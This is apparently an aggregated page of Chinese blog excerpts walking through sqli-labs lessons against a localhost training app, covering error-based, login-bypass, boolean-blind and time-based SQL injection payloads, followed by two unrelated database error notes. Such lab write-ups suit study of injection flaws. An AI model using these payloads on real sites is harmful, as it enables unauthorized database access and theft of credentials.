sql-labs--Less-1--Error based-Single quotes】的更多相关文章

一.第一次见面 1.初识 http://localhost/Less-1/ 提示输入id,因此访问http://localhost/Less-1/?id=1 可以继续测试id=2.3.4等的情况,会输出不同的用户名和密码 2.进一步了解 每一次都会有不同的账号密码出来,当然肯定不能这样简单的访问. 既然题目说了存在单引号的错误,那就来试一下http://localhost/Less-1/?id=%27 没毛病报错了,说明单引号会被算入sql语句中 假设一下,这个sql语句是这样构造的: $sql…
实质上和less1没有多大区别,看懂了一样走流程 提交参数 加单引号 http://localhost/sqli/Less-3/?id=1' 观察报错,看near 和 at 的引号之间内容 '1'') LIMIT 0,1 1后面有一个 ' 是我们添加的,于是正常的sql语句应该是 select ... from ... where xx=('1') limit 0,1 于是构造 select ... from ... where xx=('1')#') limit 0,1 对应的GET请求为 h…
GET方式提交id参数 添加单引号,出现报错,爆出数据库名称和部分SQL语句 http://localhost/sqli/Less-1/?id=1' 使用order by猜测字段数,用#注释掉后面limit 0,1语句 http://localhost/sqli/Less-1/?id=1' order by 1# 字符#浏览器不会编码可以手动编码%23 http://localhost/sqli/Less-1/?id=1' order by 1%23 order by 4时页面不正常,推测字段数…
查看源码,用户名和密码通过post提交 加单引号提交 出现报错,推测对应的SQL语句 , 直接使用or构造永真登录 成功,注意此处登录的用户为表中的第一个用户 需要改变用户可以通过改变筛选条件实现 作为表中的第二个用户登录 如果在客户端进行了敏感字符的输入限定,可以直接使用hackbar提交POST数据绕过 如果采用构造这种输入,登录会失败,原因是因为and的优先级是高于or的 yyy='test'返回false然后and运算仍为false, xxx='1' or false结果为false 也…
提交id参数 加' http://localhost/sqli/Less-4/?id=1' 页面正常,添加" http://localhost/sqli/Less-4/?id=1" 对应的sql语句应为 select ... from ... where xx=("1") limit 0,1 构造 select ... from ... where xx=("1")#") limit 0,1 对应的GET请求 http://localh…
错误不回显了 构造永真登陆 登陆成功了 虽然登陆成功了,但是数据库的数据还么有爆出来 构造一下用户名 ' or length(database())=8# 如果数据库名的长度不等于8,登陆会失败 猜测数据库名第一个字符是否为's',是则登陆成功 ' or ascii(substr(database(),1,1))=115#…
加and http://localhost/sqli/Less-9/?id=1' and '1'='1%23 http://localhost/sqli/Less-9/?id=1' and '1'='2%23 页面没有变化,一瞬间没弄懂了,看了下源码 发现无论查询的结果是什么,显示都不会有区别 学习一个函数 sleep(n)      休眠n秒 5秒后出现结果 和less8一样是盲注漏洞,构造请求 如果数据库名的第一个字符的ascii码不等于114 则休眠5s http://localhost/…
加单引号 没有任何信息输出 加and 页面变化,不正常是没有任何回显 http://localhost/sqli/Less-8/?id=1' and '1'='1 http://localhost/sqli/Less-8/?id=1' and '1'='2 出错也没有回显,考虑盲注,即通过不同请求页面的变化来作出判断 首先学习几个函数 length(str) 返回字符串的长度 if(a, b, c) 若条件a为真,返回b,否则返回c substr(str, pos, len) 从pos位置起截取…
今天检查公司生产服务器的SQL Server数据库,惊讶的发现有三个生产数据库变为了single user mode.奇怪的是没有任何人和程序执行过SQL语句将这三个数据库设置为single user mode,是自动变的.后来在网上查了查原来发现,重启windows server原来有可能导致SQL Server数据库意外变为single user mode.原文如下: 问题: Why did SQL Server go into single user mode? I've had an a…
今天遇到一个错误提示:ORA-06502:PL/SQL :numberic or value error: character string buffer too small,一般对应的中文信息为:ORA-06502: PL/SQL: 数字或值错误 :字符串缓冲区太小.仔细检查调试过程中才发现是开发人员定义了一个变量,但是在脚本里面赋予了该变量超过其长度的值.结果就报这个错误.我习惯总结每一个遇到的错误信息,既有利于学习.总结知识,也方便以后遇到此类问题能够及时给出解决方法. 如果执行oerr…